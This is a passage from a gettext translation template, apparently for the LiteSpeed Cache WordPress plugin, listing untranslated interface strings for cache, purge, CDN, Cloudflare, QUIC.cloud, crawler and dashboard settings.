%4$s." msgstr "" #: tpl/cache/settings-esi.tpl.php:141 msgid "If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page." msgstr "" #: tpl/cache/settings-excludes.tpl.php:30 msgid "Paths containing these strings will not be cached." msgstr "" #: tpl/cache/settings-excludes.tpl.php:32 #: tpl/page_optm/settings_tuning_css.tpl.php:78 #: tpl/page_optm/settings_tuning_css.tpl.php:153 msgid "Predefined list will also be combined w/ the above settings" msgstr "" #: tpl/cache/settings-excludes.tpl.php:45 msgid "Query strings containing these parameters will not be cached." msgstr "" #: tpl/cache/settings-excludes.tpl.php:46 msgid "For example, for %1$s, %2$s and %3$s can be used here." msgstr "" #: tpl/cache/settings-excludes.tpl.php:66 msgid "All categories are cached by default." msgstr "" #. translators: %s: "cookies" #. translators: %s: "user agents" #: tpl/cache/settings-excludes.tpl.php:67 #: tpl/cache/settings-excludes.tpl.php:100 #: tpl/cache/settings_inc.exclude_cookies.tpl.php:27 #: tpl/cache/settings_inc.exclude_useragent.tpl.php:27 msgid "To prevent %s from being cached, enter them here." msgstr "" #: tpl/cache/settings-excludes.tpl.php:67 msgid "categories" msgstr "" #: tpl/cache/settings-excludes.tpl.php:73 msgid "If the category name is not found, the category will be removed from the list on save." msgstr "" #: tpl/cache/settings-excludes.tpl.php:99 msgid "All tags are cached by default." msgstr "" #: tpl/cache/settings-excludes.tpl.php:100 msgid "tags" msgstr "" #: tpl/cache/settings-excludes.tpl.php:106 msgid "If the tag slug is not found, the tag will be removed from the list on save." msgstr "" #: tpl/cache/settings-excludes.tpl.php:110 msgid "To exclude %1$s, insert %2$s." msgstr "" #: tpl/cache/settings-excludes.tpl.php:135 msgid "Selected roles will be excluded from cache." msgstr "" #: tpl/cache/settings-purge.tpl.php:21 msgid "All pages" msgstr "" #: tpl/cache/settings-purge.tpl.php:22 msgid "Front page" msgstr "" #: tpl/cache/settings-purge.tpl.php:23 msgid "Home page" msgstr "" #: tpl/cache/settings-purge.tpl.php:24 msgid "Pages" msgstr "" #: tpl/cache/settings-purge.tpl.php:25 msgid "All pages with Recent Posts Widget" msgstr "" #: tpl/cache/settings-purge.tpl.php:26 msgid "Author archive" msgstr "" #: tpl/cache/settings-purge.tpl.php:27 msgid "Post type archive" msgstr "" #: tpl/cache/settings-purge.tpl.php:28 msgid "Yearly archive" msgstr "" #: tpl/cache/settings-purge.tpl.php:29 msgid "Monthly archive" msgstr "" #: tpl/cache/settings-purge.tpl.php:30 msgid "Daily archive" msgstr "" #: tpl/cache/settings-purge.tpl.php:31 msgid "Term archive (include category, tag, and tax)" msgstr "" #: tpl/cache/settings-purge.tpl.php:50 msgid "Auto Purge Rules For Publish/Update" msgstr "" #: tpl/cache/settings-purge.tpl.php:53 #: tpl/cache/settings-purge.tpl.php:90 #: tpl/cache/settings-purge.tpl.php:114 #: tpl/page_optm/settings_tuning_css.tpl.php:72 #: tpl/page_optm/settings_tuning_css.tpl.php:147 msgid "Note" msgstr "" #: tpl/cache/settings-purge.tpl.php:55 msgid "Select \"All\" if there are dynamic widgets linked to posts on pages other than the front or home pages." msgstr "" #: tpl/cache/settings-purge.tpl.php:56 msgid "Other checkboxes will be ignored." msgstr "" #: tpl/cache/settings-purge.tpl.php:57 msgid "Select only the archive types that are currently used, the others can be left unchecked." msgstr "" #: tpl/cache/settings-purge.tpl.php:73 msgid "Select which pages will be automatically purged when posts are published/updated." msgstr "" #: tpl/cache/settings-purge.tpl.php:86 msgid "If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait." msgstr "" #: tpl/cache/settings-purge.tpl.php:92 msgid "By design, this option may serve stale content. Do not enable this option, if that is not OK with you." msgstr "" #: tpl/cache/settings-purge.tpl.php:106 msgid "The URLs here (one per line) will be purged automatically at the time set in the option \"%s\"." msgstr "" #: tpl/cache/settings-purge.tpl.php:107 msgid "Both %1$s and %2$s are acceptable." msgstr "" #: tpl/cache/settings-purge.tpl.php:116 msgid "For URLs with wildcards, there may be a delay in initiating scheduled purge." msgstr "" #: tpl/cache/settings-purge.tpl.php:131 msgid "Specify the time to purge the \"%s\" list." msgstr "" #: tpl/cache/settings-purge.tpl.php:132 msgid "Current server time is %s." msgstr "" #: tpl/cache/settings-purge.tpl.php:152 msgid "A Purge All will be executed when WordPress runs these hooks." msgstr "" #: tpl/cache/settings-ttl.tpl.php:29 msgid "Specify how long, in seconds, public pages are cached." msgstr "" #: tpl/cache/settings-ttl.tpl.php:44 msgid "Specify how long, in seconds, private pages are cached." msgstr "" #: tpl/cache/settings-ttl.tpl.php:59 msgid "Specify how long, in seconds, the front page is cached." msgstr "" #: tpl/cache/settings-ttl.tpl.php:74 msgid "Specify how long, in seconds, feeds are cached." msgstr "" #: tpl/cache/settings-ttl.tpl.php:75 #: tpl/cache/settings-ttl.tpl.php:90 msgid "If this is set to a number less than 30, feeds will not be cached." msgstr "" #: tpl/cache/settings-ttl.tpl.php:89 msgid "Specify how long, in seconds, REST calls are cached." msgstr "" #: tpl/cache/settings-ttl.tpl.php:111 msgid "Specify an HTTP status code and the number of seconds to cache that page, separated by a space." msgstr "" #: tpl/cache/settings_inc.browser.tpl.php:17 msgid "Browser Cache Settings" msgstr "" #: tpl/cache/settings_inc.browser.tpl.php:25 msgid "OpenLiteSpeed users please check this" msgstr "" #: tpl/cache/settings_inc.browser.tpl.php:26 msgid "Setting Up Custom Headers" msgstr "" #: tpl/cache/settings_inc.browser.tpl.php:41 msgid "Browser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files." msgstr "" #. translators: %s: Link tags #: tpl/cache/settings_inc.browser.tpl.php:46 msgid "You can turn on browser caching in server admin too. %sLearn more about LiteSpeed browser cache settings%s." msgstr "" #: tpl/cache/settings_inc.browser.tpl.php:63 msgid "The amount of time, in seconds, that files will be stored in browser cache before expiring." msgstr "" #. translators: %s: LiteSpeed Web Server version #: tpl/cache/settings_inc.cache_dropquery.tpl.php:27 msgid "Ignore certain query strings when caching. (LSWS %s required)" msgstr "" #. translators: %1$s: Example query string, %2$s: Example wildcard #: tpl/cache/settings_inc.cache_dropquery.tpl.php:34 msgid "For example, to drop parameters beginning with %1$s, %2$s can be used here." msgstr "" #: tpl/cache/settings_inc.cache_mobile.tpl.php:24 msgid "Serve a separate cache copy for mobile visitors." msgstr "" #: tpl/cache/settings_inc.cache_mobile.tpl.php:25 msgid "Learn more about when this is needed" msgstr "" #: tpl/cache/settings_inc.cache_mobile.tpl.php:47 msgid "Htaccess did not match configuration option." msgstr "" #. translators: %s: Current mobile agents in htaccess #: tpl/cache/settings_inc.cache_mobile.tpl.php:51 msgid "Htaccess rule is: %s" msgstr "" #. translators: %1$s: Cache Mobile label, %2$s: ON status, %3$s: List of Mobile User Agents label #: tpl/cache/settings_inc.cache_mobile.tpl.php:89 msgid "If %1$s is %2$s, then %3$s must be populated!" msgstr "" #: tpl/cache/settings_inc.exclude_cookies.tpl.php:28 msgid "cookies" msgstr "" #: tpl/cache/settings_inc.exclude_useragent.tpl.php:28 msgid "user agents" msgstr "" #: tpl/cache/settings_inc.login_cookie.tpl.php:26 msgid "SYNTAX: alphanumeric and \"_\". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS." msgstr "" #. translators: %s: Default login cookie name #: tpl/cache/settings_inc.login_cookie.tpl.php:32 msgid "The default login cookie is %s." msgstr "" #: tpl/cache/settings_inc.login_cookie.tpl.php:36 msgid "The server will determine if the user is logged in based on the existence of this cookie." msgstr "" #: tpl/cache/settings_inc.login_cookie.tpl.php:37 msgid "This setting is useful for those that have multiple web applications for the same domain." msgstr "" #: tpl/cache/settings_inc.login_cookie.tpl.php:38 msgid "If every web application uses the same cookie, the server may confuse whether a user is logged in or not." msgstr "" #: tpl/cache/settings_inc.login_cookie.tpl.php:39 msgid "The cookie set here will be used for this WordPress installation." msgstr "" #: tpl/cache/settings_inc.login_cookie.tpl.php:41 msgid "Example use case:" msgstr "" #. translators: %s: Example domain #: tpl/cache/settings_inc.login_cookie.tpl.php:45 msgid "There is a WordPress installed for %s." msgstr "" #. translators: %s: Example subdomain #: tpl/cache/settings_inc.login_cookie.tpl.php:53 msgid "Then another WordPress is installed (NOT MULTISITE) at %s" msgstr "" #: tpl/cache/settings_inc.login_cookie.tpl.php:57 msgid "The cache needs to distinguish who is logged into which WordPress site in order to cache correctly." msgstr "" #: tpl/cache/settings_inc.login_cookie.tpl.php:63 msgid "Invalid login cookie. Invalid characters found." msgstr "" #: tpl/cache/settings_inc.login_cookie.tpl.php:84 msgid "WARNING: The .htaccess login cookie and Database login cookie do not match." msgstr "" #: tpl/cache/settings_inc.login_cookie.tpl.php:102 msgid "SYNTAX: alphanumeric and \"_\". No spaces and case sensitive." msgstr "" #: tpl/cache/settings_inc.login_cookie.tpl.php:104 msgid "You can list the 3rd party vary cookies here." msgstr "" #: tpl/cache/settings_inc.object.tpl.php:15 msgid "Enabled" msgstr "" #: tpl/cache/settings_inc.object.tpl.php:16 msgid "Disabled" msgstr "" #: tpl/cache/settings_inc.object.tpl.php:23 msgid "Not Available" msgstr "" #: tpl/cache/settings_inc.object.tpl.php:25 msgid "Passed" msgstr "" #: tpl/cache/settings_inc.object.tpl.php:28 msgid "Failed" msgstr "" #: tpl/cache/settings_inc.object.tpl.php:33 msgid "Object Cache Settings" msgstr "" #: tpl/cache/settings_inc.object.tpl.php:47 msgid "Use external object cache functionality." msgstr "" #: tpl/cache/settings_inc.object.tpl.php:52 #: tpl/crawler/blacklist.tpl.php:42 #: tpl/crawler/summary.tpl.php:153 msgid "Status" msgstr "" #. translators: %s: Object cache name #: tpl/cache/settings_inc.object.tpl.php:58 #: tpl/cache/settings_inc.object.tpl.php:66 msgid "%s Extension" msgstr "" #: tpl/cache/settings_inc.object.tpl.php:71 msgid "Connection Test" msgstr "" #. translators: %s: Object cache name #: tpl/cache/settings_inc.object.tpl.php:99 msgid "Your %s Hostname or IP address." msgstr "" #. translators: %1$s: Socket name, %2$s: Host field title, %3$s: Example socket path #. translators: %1$s: Socket name, %2$s: Port field title, %3$s: Port value #: tpl/cache/settings_inc.object.tpl.php:107 #: tpl/cache/settings_inc.object.tpl.php:146 msgid "If you are using a %1$s socket, %2$s should be set to %3$s" msgstr "" #. translators: %1$s: Object cache name, %2$s: Port number #: tpl/cache/settings_inc.object.tpl.php:128 #: tpl/cache/settings_inc.object.tpl.php:137 msgid "Default port for %1$s is %2$s." msgstr "" #: tpl/cache/settings_inc.object.tpl.php:164 msgid "Default TTL for cached objects." msgstr "" #. translators: %s: SASL #: tpl/cache/settings_inc.object.tpl.php:180 msgid "Only available when %s is installed." msgstr "" #: tpl/cache/settings_inc.object.tpl.php:196 msgid "Specify the password used when connecting." msgstr "" #: tpl/cache/settings_inc.object.tpl.php:209 msgid "Database to be used" msgstr "" #: tpl/cache/settings_inc.object.tpl.php:222 msgid "Groups cached at the network level." msgstr "" #: tpl/cache/settings_inc.object.tpl.php:249 msgid "Use keep-alive connections to speed up cache operations." msgstr "" #: tpl/cache/settings_inc.object.tpl.php:262 msgid "Improve wp-admin speed through caching. (May encounter expired data)" msgstr "" #. translators: %1$s: Object Cache Admin title, %2$s: OFF status #: tpl/cache/settings_inc.object.tpl.php:278 msgid "Save transients in database when %1$s is %2$s." msgstr "" #: tpl/cache/settings_inc.purge_on_upgrade.tpl.php:25 msgid "When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded." msgstr "" #: tpl/cdn/cf.tpl.php:17 msgid "Cloudflare Settings" msgstr "" #: tpl/cdn/cf.tpl.php:31 msgid "Use %s API functionality." msgstr "" #: tpl/cdn/cf.tpl.php:35 msgid "Global API Key / API Token" msgstr "" #: tpl/cdn/cf.tpl.php:38 msgid "Your API key / token is used to access %s APIs." msgstr "" #: tpl/cdn/cf.tpl.php:39 msgid "Get it from %s." msgstr "" #: tpl/cdn/cf.tpl.php:40 msgid "Recommended to generate the token from Cloudflare API token template \"WordPress\"." msgstr "" #: tpl/cdn/cf.tpl.php:44 msgid "Email Address" msgstr "" #: tpl/cdn/cf.tpl.php:47 msgid "Your Email address on %s." msgstr "" #: tpl/cdn/cf.tpl.php:48 msgid "Optional when API token used." msgstr "" #: tpl/cdn/cf.tpl.php:52 msgid "Domain" msgstr "" #: tpl/cdn/cf.tpl.php:59 msgid "You can just type part of the domain." msgstr "" #: tpl/cdn/cf.tpl.php:60 msgid "Once saved, it will be matched with the current list and completed automatically." msgstr "" #: tpl/cdn/cf.tpl.php:74 msgid "Clear %s cache when \"Purge All\" is run." msgstr "" #: tpl/cdn/cf.tpl.php:102 msgid "To enable the following functionality, turn ON Cloudflare API in CDN Settings." msgstr "" #: tpl/cdn/cf.tpl.php:107 msgid "Cloudflare Domain" msgstr "" #: tpl/cdn/cf.tpl.php:108 msgid "Cloudflare Zone" msgstr "" #: tpl/cdn/cf.tpl.php:111 msgid "Development Mode" msgstr "" #: tpl/cdn/cf.tpl.php:113 msgid "Turn ON" msgstr "" #: tpl/cdn/cf.tpl.php:116 msgid "Turn OFF" msgstr "" #: tpl/cdn/cf.tpl.php:119 msgid "Check Status" msgstr "" #: tpl/cdn/cf.tpl.php:129 msgid "Current status is %1$s since %2$s." msgstr "" #: tpl/cdn/cf.tpl.php:137 msgid "Current status is %s." msgstr "" #: tpl/cdn/cf.tpl.php:141 msgid "Development mode will be automatically turned off in %s." msgstr "" #: tpl/cdn/cf.tpl.php:149 msgid "Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime." msgstr "" #: tpl/cdn/cf.tpl.php:151 msgid "Development Mode will be turned off automatically after three hours." msgstr "" #: tpl/cdn/cf.tpl.php:152 msgid "%1$sLearn More%2$s" msgstr "" #: tpl/cdn/cf.tpl.php:156 msgid "Cloudflare Cache" msgstr "" #: tpl/cdn/cf.tpl.php:162 msgid "Purge Everything" msgstr "" #: tpl/cdn/entry.tpl.php:14 msgid "QUIC.cloud" msgstr "" #: tpl/cdn/entry.tpl.php:16 msgid "Other Static CDN" msgstr "" #: tpl/cdn/entry.tpl.php:22 msgid "LiteSpeed Cache CDN" msgstr "" #: tpl/cdn/other.tpl.php:28 msgid "CDN Settings" msgstr "" #: tpl/cdn/other.tpl.php:44 msgid "Turn this setting %s if you are using a traditional Content Delivery Network (CDN) or a subdomain for static content with QUIC.cloud CDN." msgstr "" #: tpl/cdn/other.tpl.php:52 msgid "NOTE: QUIC.cloud CDN and Cloudflare do not use CDN Mapping. If you are only using QUIC.cloud or Cloudflare, leave this setting %s." msgstr "" #: tpl/cdn/other.tpl.php:80 msgid "To randomize CDN hostname, define multiple hostnames for the same resources." msgstr "" #: tpl/cdn/other.tpl.php:87 msgid "Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes." msgstr "" #: tpl/cdn/other.tpl.php:94 msgid "Serve all CSS files through the CDN. This will affect all enqueued WP CSS files." msgstr "" #: tpl/cdn/other.tpl.php:97 msgid "Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files." msgstr "" #: tpl/cdn/other.tpl.php:100 msgid "Static file type links to be replaced by CDN links." msgstr "" #: tpl/cdn/other.tpl.php:104 msgid "This will affect all tags containing attributes: %s." msgstr "" #: tpl/cdn/other.tpl.php:112 msgid "If you turn any of the above settings OFF, please remove the related file types from the %s box." msgstr "" #: tpl/cdn/other.tpl.php:136 msgid "Specify which HTML element attributes will be replaced with CDN Mapping." msgstr "" #: tpl/cdn/other.tpl.php:137 #: tpl/img_optm/settings.tpl.php:150 msgid "Only attributes listed here will be replaced." msgstr "" #: tpl/cdn/other.tpl.php:141 #: tpl/img_optm/settings.tpl.php:151 msgid "Use the format %1$s or %2$s (element is optional)." msgstr "" #: tpl/cdn/other.tpl.php:161 msgid "Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s." msgstr "" #: tpl/cdn/other.tpl.php:196 msgid "Only files within these directories will be pointed to the CDN." msgstr "" #: tpl/cdn/other.tpl.php:210 msgid "Paths containing these strings will not be served from the CDN." msgstr "" #: tpl/cdn/qc.tpl.php:24 #: tpl/dash/dashboard.tpl.php:886 msgid "Refresh Status" msgstr "" #: tpl/cdn/qc.tpl.php:27 msgid "QUIC.cloud CDN Status Overview" msgstr "" #: tpl/cdn/qc.tpl.php:29 msgid "Check the status of your most important settings and the health of your CDN setup here." msgstr "" #: tpl/cdn/qc.tpl.php:34 #: tpl/dash/dashboard.tpl.php:146 msgid "Accelerate, Optimize, Protect" msgstr "" #: tpl/cdn/qc.tpl.php:36 #: tpl/dash/dashboard.tpl.php:150 msgid "Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>." msgstr "" #: tpl/cdn/qc.tpl.php:38 #: tpl/general/online.tpl.php:61 #: tpl/general/online.tpl.php:145 msgid "Free monthly quota available." msgstr "" #: tpl/cdn/qc.tpl.php:41 #: tpl/dash/dashboard.tpl.php:158 #: tpl/general/online.tpl.php:64 #: tpl/general/online.tpl.php:119 msgid "Enable QUIC.cloud services" msgstr "" #: tpl/cdn/qc.tpl.php:45 #: tpl/dash/dashboard.tpl.php:167 #: tpl/general/online.tpl.php:26 msgid "QUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud." msgstr "" #: tpl/cdn/qc.tpl.php:46 #: tpl/dash/dashboard.tpl.php:169 msgid "Learn More about QUIC.cloud" msgstr "" #: tpl/cdn/qc.tpl.php:53 msgid "QUIC.cloud CDN is currently <strong>fully disabled</strong>." msgstr "" #: tpl/cdn/qc.tpl.php:55 msgid "QUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users." msgstr "" #: tpl/cdn/qc.tpl.php:59 msgid "Link & Enable QUIC.cloud CDN" msgstr "" #: tpl/cdn/qc.tpl.php:61 #: tpl/dash/dashboard.tpl.php:857 msgid "Enable QUIC.cloud CDN" msgstr "" #: tpl/cdn/qc.tpl.php:71 msgid "Content Delivery Network Service" msgstr "" #: tpl/cdn/qc.tpl.php:73 msgid "Serve your visitors fast" msgstr "" #: tpl/cdn/qc.tpl.php:73 msgid "no matter where they live." msgstr "" #. translators: %s: Link tags #: tpl/cdn/qc.tpl.php:79 msgid "Best available WordPress performance, globally fast TTFB, easy setup, and %smore%s!" msgstr "" #: tpl/cdn/qc.tpl.php:96 msgid "QUIC.cloud CDN Options" msgstr "" #: tpl/cdn/qc.tpl.php:117 msgid "To manage your QUIC.cloud options, go to your hosting provider's portal." msgstr "" #: tpl/cdn/qc.tpl.php:119 msgid "To manage your QUIC.cloud options, please contact your hosting provider." msgstr "" #: tpl/cdn/qc.tpl.php:123 #: tpl/cdn/qc.tpl.php:143 msgid "To manage your QUIC.cloud options, go to QUIC.cloud Dashboard." msgstr "" #: tpl/cdn/qc.tpl.php:126 #: tpl/cdn/qc.tpl.php:133 #: tpl/dash/dashboard.tpl.php:360 #: tpl/general/online.tpl.php:153 msgid "Link to QUIC.cloud" msgstr "" #: tpl/cdn/qc.tpl.php:130 msgid "You are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard." msgstr "" #: tpl/cdn/qc.tpl.php:139 #: tpl/cdn/qc.tpl.php:146 msgid "My QUIC.cloud Dashboard" msgstr "" #: tpl/crawler/blacklist.tpl.php:22 msgid "Are you sure to delete all existing blocklist items?" msgstr "" #: tpl/crawler/blacklist.tpl.php:23 msgid "Empty blocklist" msgstr "" #: tpl/crawler/blacklist.tpl.php:28 #: tpl/crawler/entry.tpl.php:16 msgid "Blocklist" msgstr "" #: tpl/crawler/blacklist.tpl.php:32 #: tpl/img_optm/summary.tpl.php:201 msgid "Total" msgstr "" #: tpl/crawler/blacklist.tpl.php:41 #: tpl/crawler/map.tpl.php:76 #: tpl/toolbox/purge.tpl.php:209 msgid "URL" msgstr "" #: tpl/crawler/blacklist.tpl.php:43 #: tpl/crawler/map.tpl.php:78 msgid "Operation" msgstr "" #: tpl/crawler/blacklist.tpl.php:54 msgid "Remove from Blocklist" msgstr "" #: tpl/crawler/blacklist.tpl.php:69 msgid "API: PHP Constant %s available to disable blocklist." msgstr "" #: tpl/crawler/blacklist.tpl.php:79 msgid "API: Filter %s available to disable blocklist." msgstr "" #: tpl/crawler/blacklist.tpl.php:87 msgid "Not blocklisted" msgstr "" #: tpl/crawler/blacklist.tpl.php:88 #: tpl/crawler/map.tpl.php:103 msgid "Blocklisted due to not cacheable" msgstr "" #: tpl/crawler/blacklist.tpl.php:89 #: tpl/crawler/map.tpl.php:64 #: tpl/crawler/map.tpl.php:104 #: tpl/crawler/summary.tpl.php:199 #: tpl/crawler/summary.tpl.php:247 msgid "Blocklisted" msgstr "" #: tpl/crawler/entry.tpl.php:14 msgid "Summary" msgstr "" #: tpl/crawler/entry.tpl.php:15 msgid "Map" msgstr "" #: tpl/crawler/entry.tpl.php:23 msgid "LiteSpeed Cache Crawler" msgstr "" #: tpl/crawler/map.tpl.php:29 msgid "Clean Crawler Map" msgstr "" #: tpl/crawler/map.tpl.php:32 msgid "Refresh Crawler Map" msgstr "" #: tpl/crawler/map.tpl.php:40 msgid "Generated at %s" msgstr "" #: tpl/crawler/map.tpl.php:48 msgid "Sitemap List" msgstr "" #: tpl/crawler/map.tpl.php:52 msgid "Sitemap Total" msgstr "" #: tpl/crawler/map.tpl.php:58 msgid "URL Search" msgstr "" #: tpl/crawler/map.tpl.php:62 #: tpl/crawler/map.tpl.php:101 msgid "Cache Hit" msgstr "" #: tpl/crawler/map.tpl.php:63 #: tpl/crawler/map.tpl.php:102 msgid "Cache Miss" msgstr "" #: tpl/crawler/map.tpl.php:77 #: tpl/dash/dashboard.tpl.php:80 #: tpl/dash/dashboard.tpl.php:800 msgid "Crawler Status" msgstr "" #: tpl/crawler/map.tpl.php:89 msgid "Add to Blocklist" msgstr "" #: tpl/crawler/settings.tpl.php:17 msgid "Crawler General Settings" msgstr "" #: tpl/crawler/settings.tpl.php:31 msgid "This will enable crawler cron." msgstr "" #: tpl/crawler/settings.tpl.php:45 msgid "Specify how long in seconds before the crawler should initiate crawling the entire sitemap again." msgstr "" #: tpl/crawler/settings.tpl.php:59 msgid "The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here." msgstr "" #: tpl/crawler/settings.tpl.php:73 msgid "The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated." msgstr "" #: tpl/crawler/settings.tpl.php:79 msgid "Server enforced value: %s" msgstr "" #: tpl/crawler/settings.tpl.php:89 msgid "Server allowed max value: %s" msgstr "" #: tpl/crawler/settings.tpl.php:109 msgid "To crawl the site as a logged-in user, enter the user ids to be simulated." msgstr "" #: tpl/crawler/settings.tpl.php:116 #: tpl/crawler/summary.tpl.php:211 msgid "You must set %s before using this feature." msgstr "" #: tpl/crawler/settings.tpl.php:136 msgid "You must set %1$s to %2$s before using this feature." msgstr "" #: tpl/crawler/settings.tpl.php:172 msgid "To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role." msgstr "" #: tpl/crawler/settings.tpl.php:177 msgid "Use %1$s in %2$s to indicate this cookie has not been set." msgstr "" #: tpl/crawler/summary.tpl.php:28 msgid "You need to set the %s in Settings first before using the crawler" msgstr "" #: tpl/crawler/summary.tpl.php:54 msgid "Crawler Cron" msgstr "" #: tpl/crawler/summary.tpl.php:61 msgid "The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider." msgstr "" #. translators: %s: Link tags #: tpl/crawler/summary.tpl.php:66 msgid "See %sIntroduction for Enabling the Crawler%s for detailed information." msgstr "" #: tpl/crawler/summary.tpl.php:77 msgid "Current sitemap crawl started at" msgstr "" #: tpl/crawler/summary.tpl.php:82 msgid "The next complete sitemap crawl will start at" msgstr "" #: tpl/crawler/summary.tpl.php:90 msgid "Last complete run time for all crawlers" msgstr "" #: tpl/crawler/summary.tpl.php:91 #: tpl/crawler/summary.tpl.php:98 msgid "%d seconds" msgstr "" #: tpl/crawler/summary.tpl.php:97 msgid "Run time for previous crawler" msgstr "" #: tpl/crawler/summary.tpl.php:104 #: tpl/dash/dashboard.tpl.php:91 #: tpl/dash/dashboard.tpl.php:811 msgid "Current crawler started at" msgstr "" #: tpl/crawler/summary.tpl.php:110 msgid "Current server load" msgstr "" #: tpl/crawler/summary.tpl.php:116 #: tpl/dash/dashboard.tpl.php:97 #: tpl/dash/dashboard.tpl.php:817 msgid "Last interval" msgstr "" #: tpl/crawler/summary.tpl.php:123 #: tpl/dash/dashboard.tpl.php:103 #: tpl/dash/dashboard.tpl.php:823 msgid "Ended reason" msgstr "" #: tpl/crawler/summary.tpl.php:130 msgid "Last crawled" msgstr "" #: tpl/crawler/summary.tpl.php:133 msgid "%d item(s)" msgstr "" #: tpl/crawler/summary.tpl.php:141 msgid "Reset position" msgstr "" #: tpl/crawler/summary.tpl.php:142 msgid "Manually run" msgstr "" #: tpl/crawler/summary.tpl.php:151 msgid "Cron Name" msgstr "" #: tpl/crawler/summary.tpl.php:152 msgid "Run Frequency" msgstr "" #: tpl/crawler/summary.tpl.php:154 msgid "Activate" msgstr "" #: tpl/crawler/summary.tpl.php:155 msgid "Running" msgstr "" #: tpl/crawler/summary.tpl.php:184 msgid "Waiting" msgstr "" #: tpl/crawler/summary.tpl.php:189 msgid "Hit" msgstr "" #: tpl/crawler/summary.tpl.php:194 msgid "Miss" msgstr "" #: tpl/crawler/summary.tpl.php:230 msgid "Position: " msgstr "" #: tpl/crawler/summary.tpl.php:232 msgid "running" msgstr "" #: tpl/crawler/summary.tpl.php:244 msgid "Waiting to be Crawled" msgstr "" #: tpl/crawler/summary.tpl.php:245 msgid "Already Cached" msgstr "" #: tpl/crawler/summary.tpl.php:246 msgid "Successfully Crawled" msgstr "" #: tpl/crawler/summary.tpl.php:251 msgid "Run frequency is set by the Interval Between Runs setting." msgstr "" #: tpl/crawler/summary.tpl.php:254 msgid "Crawlers cannot run concurrently. If both the cron and a manual run start at similar times, the first to be started will take precedence." msgstr "" #. translators: %s: Link tags #: tpl/crawler/summary.tpl.php:261 msgid "Please see %sHooking WP-Cron Into the System Task Scheduler%s to learn how to create the system cron task." msgstr "" #: tpl/crawler/summary.tpl.php:272 msgid "Watch Crawler Status" msgstr "" #: tpl/crawler/summary.tpl.php:278 msgid "Show crawler status" msgstr "" #: tpl/crawler/summary.tpl.php:288 msgid "Start watching..." msgstr "" #: tpl/crawler/summary.tpl.php:293 msgid "No crawler meta file generated yet" msgstr "" #: tpl/dash/dashboard.tpl.php:53 #: tpl/dash/dashboard.tpl.php:597 msgid "Cache Status" msgstr "" #: tpl/dash/dashboard.tpl.php:54 #: tpl/dash/dashboard.tpl.php:81 #: tpl/dash/dashboard.tpl.php:521 #: tpl/dash/dashboard.tpl.php:598 #: tpl/dash/dashboard.tpl.php:625 #: tpl/dash/dashboard.tpl.php:669 #: tpl/dash/dashboard.tpl.php:713 #: tpl/dash/dashboard.tpl.php:757 #: tpl/dash/dashboard.tpl.php:801 #: tpl/dash/dashboard.tpl.php:848 msgid "More" msgstr "" #: tpl/dash/dashboard.tpl.php:58 #: tpl/dash/dashboard.tpl.php:602 msgid "Public Cache" msgstr "" #: tpl/dash/dashboard.tpl.php:59 #: tpl/dash/dashboard.tpl.php:603 msgid "Private Cache" msgstr "" #: tpl/dash/dashboard.tpl.php:84 #: tpl/dash/dashboard.tpl.php:804 msgid "Crawler(s)" msgstr "" #: tpl/dash/dashboard.tpl.php:87 #: tpl/dash/dashboard.tpl.php:807 msgid "Currently active crawler" msgstr "" #: tpl/dash/dashboard.tpl.php:111 #: tpl/dash/dashboard.tpl.php:831 msgid "%1$s %2$d item(s)" msgstr "" #: tpl/dash/dashboard.tpl.php:112 #: tpl/dash/dashboard.tpl.php:832 msgid "Last crawled:" msgstr "" #: tpl/dash/dashboard.tpl.php:128 #: tpl/dash/dashboard.tpl.php:908 msgid "News" msgstr "" #: tpl/dash/dashboard.tpl.php:153 msgid "Free monthly quota available. Can also be used anonymously (no email required)." msgstr "" #: tpl/dash/dashboard.tpl.php:163 msgid "Do not show this again" msgstr "" #: tpl/dash/dashboard.tpl.php:180 msgid "QUIC.cloud Service Usage Statistics" msgstr "" #: tpl/dash/dashboard.tpl.php:182 msgid "Refresh Usage" msgstr "" #: tpl/dash/dashboard.tpl.php:183 msgid "Sync data from Cloud" msgstr "" #: tpl/dash/dashboard.tpl.php:194 msgid "The features below are provided by %s" msgstr "" #: tpl/dash/dashboard.tpl.php:206 #: tpl/dash/network_dash.tpl.php:38 msgid "CDN Bandwidth" msgstr "" #: tpl/dash/dashboard.tpl.php:207 #: tpl/dash/dashboard.tpl.php:712 #: tpl/dash/network_dash.tpl.php:39 msgid "Low Quality Image Placeholder" msgstr "" #: tpl/dash/dashboard.tpl.php:259 #: tpl/dash/network_dash.tpl.php:95 msgid "Fast Queue Usage" msgstr "" #: tpl/dash/dashboard.tpl.php:259 #: tpl/dash/network_dash.tpl.php:95 msgid "Usage" msgstr "" #: tpl/dash/dashboard.tpl.php:271 #: tpl/dash/network_dash.tpl.php:108 msgid "PAYG Balance" msgstr "" #: tpl/dash/dashboard.tpl.php:272 msgid "PAYG used this month: %s. PAYG balance and usage not included in above quota calculation." msgstr "" #: tpl/dash/dashboard.tpl.php:274 #: tpl/dash/network_dash.tpl.php:111 msgid "Pay as You Go Usage Statistics" msgstr "" #: tpl/dash/dashboard.tpl.php:292 #: tpl/dash/network_dash.tpl.php:118 msgid "Total Usage" msgstr "" #: 